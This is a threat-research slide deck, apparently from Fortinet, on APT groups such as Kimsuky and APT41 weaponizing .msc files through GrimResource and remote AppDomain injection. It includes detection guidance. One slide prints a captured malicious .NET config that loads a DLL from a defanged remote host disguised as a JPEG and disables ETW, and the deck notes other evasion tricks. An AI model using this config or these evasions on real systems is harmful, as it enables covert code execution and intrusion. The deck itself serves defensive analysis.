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History of APT MSC Weaponization 
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APT distributions
7 known groups

MSC

3© Fortinet Inc. All Rights Reserved.



4© Fortinet Inc. All Rights Reserved. 4© Fortinet Inc. All Rights Reserved.

Monthly view April 2024 – December 2024
MSC
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First Campaign- KIMSUKY APT
April 2024

MSC
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September Campaign- KIMSUKY APT
September 2024

MSC
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MSC Weaponization 
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What are MSC Files

• .MSC files, also known as Microsoft Saved Console files, 

      are snap-in control files that open in the Microsoft Management Console 

      with a Graphical User Interface (GUI). 
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GrimResource

• It uses some properties inside the MSC configuration file to do icon spoofing, ideal to 

entice the user to open
• Also has a provision to use transformNode obfuscation technique that evades ActiveX 

security warnings traditionally found in legitimate .msc

• The key to the GrimResource technique is using an old XSS flaw present in 
the apds.dll library, which can be called from MSC files

https://gist.github.com/joe-desimone/2b0bbee382c9bdfcac53f2349a379fa4
https://medium.com/@knownsec404team/from-http-domain-to-res-domain-xss-by-using-ie-adobes-pdf-activex-plugin-ba4f082c8199
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MSC Weaponization : Couple of ways to do it

We can either use the XSS Flaw in APDS.DLL (GrimResource) or use the TaskType 

“CommandLine” but this throws the security warning (campaign from April 2024), since this is a 

new avenue we expect to see possibly another twist to delivering malicious payloads
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GrimResource
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Remote AppDomainInjection
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App Domain / Injection

• Imagine a .NET AppDomain as a quirky sandbox where code plays. If it throws a tantrum (crash or security 

glitch), it won’t wreck the whole system.

• The AppDomainManager? It’s the strict playground supervisor, whipping up new sandboxes, setting rules, 

and keeping them from fighting.

• The CLR calls on this manager when a .NET app boots up, tweaking sandboxes and enforcing security, 

logging, and runtime rules.

• It is deprecated and are no longer supported. Instead, the recommended replacement for achieving 
isolation and similar functionality is the AssemblyLoadContext class, introduced in .NET Core. 

• Local App Domain Injection, a sneaky trick since 2020 (MITRE ID: T1574.014), dodges image load alerts 

and hides from sysmon’s Event ID 7.

• Remote version? First spotted in August 2024, courtesy of APT41 (Earth Baxia) and GrimResource—total 

mischief makers!
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Remote App Domain Injection

<configuration>

   <runtime>

      <assemblyBinding xmlns="urn:schemas-microsoft-com:asm.v1">

         <dependentAssembly>

            <assemblyIdentity name="oncesvc" publicKeyToken="205fcab1ea048820" culture="neutral" />

            <codeBase version="0.0.0.0 "href="https[:]//360photo[.]oss-cn-hongkong[.]aliyuncs[.]com/202407111985.jpeg"/>

         </dependentAssembly>

      </assemblyBinding>

      <etwEnable enabled="false" />

      <appDomainManagerAssembly value="oncesvc, Version=0.0.0.0, Culture=neutral, PublicKeyToken=205fcab1ea048820" />

      <appDomainManagerType value="oncesvc" />

   </runtime>

</configuration>

Seen for the first time being leveraged by APT41 (Earth Baxia) back in 

August 2024, coupled with GrimResource.
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Loading Remote DLLs

https://gist.github.com/byt3bl33d3r/de10408a2ac9e9ae6f76ffbe565456c3
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Here we see the execution of oncesvc.exe loading the remote  DLL 

resource masqueraded as a jpeg

Emulating Remote AppDomain Injection
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Diskless AppDomain Injection

Fileless AppDomain Injection
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Detection Opportunities
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Detection Opportunities

GrimResource

Caveats 
• MSC tricks are still popping up, and some sneaky new files in VT barely raise eyebrows. 

• They’re not sticking to old apds.dll tricks—new moves likely will be discovered 
• YARA/SIGMA rules might miss the latest twists since 

• If attackers snag Admin rights and drop files in system folders, most SIGMA rules snooze—

they’re too focused on non-system spots.

Best Detection Hacks 
• This trick still needs RWX memory perms to work—catch it in the act! 

• Spotting other DLLs like jscript.dll, vbscript.dll, or msxml3.dll loading with apds.dll can tip off 

EDRs. 
• Look for a quirky temp HTML file named “redirect[*]” in the INetCache folder—APDS XSS 

redirect’s calling card!
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AppDomain Injection
Detection Opportunities

Caveats 

• SysMon rules and other tools miss CLR injection, it will show up on ETW consumers just 

after the fact like ProcessHacker. If ETW hasn’t been disable (it generally is)

• Spotting loaded assemblies via Event Tracing for Windows (ETW) works, but attackers can 

dodge it by disabling ETW—leaving the “.NET Assemblies” tab blank, as MDSec’s Adam 

Chester hilariously proved. Also you can disable it from the .config file !!

Best Detection Hacks 
• Threat hunters, skip assembly loading info—dig into .NET process memory for shady signs, 

like DLLs with “PAGE_EXECUTE_WRITECOPY” (WCX) protection. 

• Malicious payload analysis will reveal that they most likely use obfuscating syscalls and 

memory handling and threat manipulation which might be a good indication of maliciousness

• Check out ClrGuard (https://github.com/endgameinc/ClrGuard) or SilkETW 

(https://github.com/mandiant/SilkETW) for slick ETW tapping tools!
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